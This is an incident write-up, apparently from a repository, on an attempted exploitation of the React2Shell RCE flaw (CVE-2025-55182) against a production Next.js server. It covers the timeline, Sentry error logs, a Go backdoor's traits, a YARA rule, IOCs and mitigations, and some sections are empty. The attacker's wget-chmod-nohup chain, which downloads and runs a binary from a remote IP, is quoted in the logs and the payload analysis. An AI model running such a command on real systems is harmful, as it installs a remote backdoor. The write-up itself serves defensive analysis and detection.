CVE-2025-55182 Attack Analysis: React Server Components RCE

Real-world attack analysis on a production Next.js application

📋 Table of Contents

• Executive Summary
• Vulnerability Overview
• Attack Timeline
• Technical Analysis
• Malware Analysis
• Indicators of Compromise (IOCs)
• Mitigation & Response
• Lessons Learned
• References

Executive Summary

On December 5, 2025, our production Next.js application was targeted by attackers exploiting CVE-2025-55182 (React2Shell), a critical Remote Code Execution vulnerability in React Server Components. The attack attempted to download and execute a Linux backdoor trojan on our server.

Vulnerability Overview

What is CVE-2025-55182?

CVE-2025-55182, also known as "React2Shell", is a critical Remote Code Execution (RCE) vulnerability affecting React Server Components (RSC) in:

• React: versions 19.0.0 - 19.2.1
• Next.js: versions 15.x and 16.x (before patches)

Root Cause

The vulnerability exists in the renderToReadableStream() function within React's Flight Server. When processing specially crafted RSC payloads, the server fails to properly sanitize certain input, leading to arbitrary code execution.

Attack Vector

Attacker → Malicious RSC Payload → Flight Server → eval() → RCE

The attacker sends a crafted POST request with a malicious serialized payload that gets deserialized and executed on the server.

Attack Timeline

Phase 1: Initial Exploitation Attempts (Pre-Patch)

Sentry Error Log (Pre-Patch):

Error: root
  at eval (eval at <anonymous>, <anonymous>:3:6)
  at nk (chunk.js)
  at JSON.parse (<anonymous>)
  at n5 (/app/node_modules/next/dist/server/app-render.js)

Phase 2: Patch Deployment

Phase 3: Post-Patch Attack Blocked

Sentry Error Log (Post-Patch):

Error: Command failed: wget http://45.76.155.14/vim -O /tmp/vim ; 
chmod +x /tmp/vim ; nohup /tmp/vim > /dev/null 2>&1 & ; rm -f /tmp/vim
/bin/sh: syntax error: unexpected ";"

The patch successfully prevented the malicious command from executing.

Technical Analysis

Attack Request Details

Payload Analysis

The attacker attempted to execute the following command chain:

wget http://45.76.155.14/vim -O /tmp/vim ; \
chmod +x /tmp/vim ; \
nohup /tmp/vim > /dev/null 2>&1 & ; \
rm -f /tmp/vim

Breakdown:

Server Environment

Malware Analysis

File Information

VirusTotal Results

Detection Rate: 13/72 (18%)

VirusTotal Link: View Analysis

Binary Analysis

ELF Header:

00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 60e7 4500 0000 0000  ..>.....`.E.....

Identified Capabilities:

Extracted Strings (Relevant):

crypto/aes
crypto/tls
net/http
socks5
vendor/golang.org/x/crypto/chacha20poly1305
vendor/golang.org/x/net/http2/hpack

IDS Rules Triggered

Malware Classification

Type: Linux Backdoor Trojan

Capabilities:

• Remote shell access
• Command & Control (C2) communication
• File upload/download
• Encrypted communications
• Traffic tunneling via SOCKS5
• Persistence mechanisms

Indicators of Compromise (IOCs)

Network IOCs

File IOCs

Behavioral IOCs

YARA Rule

rule CVE_2025_55182_Backdoor {
    meta:
        description = "Detects backdoor distributed via CVE-2025-55182"
        author = "Security Researcher"
        date = "2025-12-05"
        hash = "0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce"
    
    strings:
        $elf = { 7F 45 4C 46 }
        $go1 = "vendor/golang.org/x/crypto" ascii
        $go2 = "vendor/golang.org/x/net" ascii
        $net1 = "net/http" ascii
        $net2 = "socks5" ascii
        $crypto1 = "crypto/tls" ascii
        $crypto2 = "chacha20poly1305" ascii
    
    condition:
        $elf at 0 and
        (2 of ($go*)) and
        (1 of ($net*)) and
        (1 of ($crypto*))
}

Mitigation & Response

Immediate Actions Taken

Abuse Report

An abuse report was submitted to Vultr (the hosting provider of the C2 server) on December 5, 2025 containing:

• Malicious IP address and URL
• SHA256 hash of malware
• VirusTotal analysis link
• Description of attack vector (CVE-2025-55182)

Patched Versions

Recommended Mitigations

1. Upgrade immediately:

# For Next.js 16.x
npm install [email protected] [email protected] [email protected]

# For Next.js 15.x
npm install [email protected] [email protected] [email protected]

2. Block malicious IP:

# iptables
sudo iptables -A INPUT -s 45.76.155.14 -j DROP
sudo iptables -A OUTPUT -d 45.76.155.14 -j DROP

# UFW
sudo ufw deny from 45.76.155.14
sudo ufw deny to 45.76.155.14

3. Monitor for IOCs:

# Check for suspicious files
find /tmp -type f -executable 2>/dev/null

# Check for suspicious processes
ps aux | grep -E "(vim|/tmp/)"

# Check network connections
netstat -an | grep "45.76.155.14"

4. Rotate all secrets:

• Database credentials
• JWT secrets
• API keys
• Session secrets

Lessons Learned

What Went Well

1. Sentry monitoring caught the attack immediately
2. Quick patch deployment within hours of CVE disclosure
3. Docker containerization limited blast radius
4. Post-patch protection successfully blocked subsequent attacks

What Could Be Improved

1. Faster patching - Reduce time between CVE disclosure and patch
2. WAF rules - Add rules to detect RSC exploitation attempts
3. Egress filtering - Block outbound connections to unknown IPs
4. Automated alerts - Set up alerts for suspicious shell commands

Security Recommendations

References

Official Advisories

• Next.js Security Advisory
• React Security Updates
• CVE-2025-55182 Details

Analysis Resources

• VirusTotal Analysis
• MalwareBazaar

Tools Used

• Sentry - Error monitoring
• VirusTotal - Malware analysis
• Docker - Containerization

Disclaimer

This write-up is published for educational and defensive purposes only. The malware binary is not included in this repository. Security researchers can obtain the sample via VirusTotal using the SHA256 hash provided.

Author

Published: December 5, 2025

Contact: [Your contact info or GitHub profile]

License

This analysis is released under CC BY 4.0. You are free to share and adapt this material with appropriate attribution.

Changelog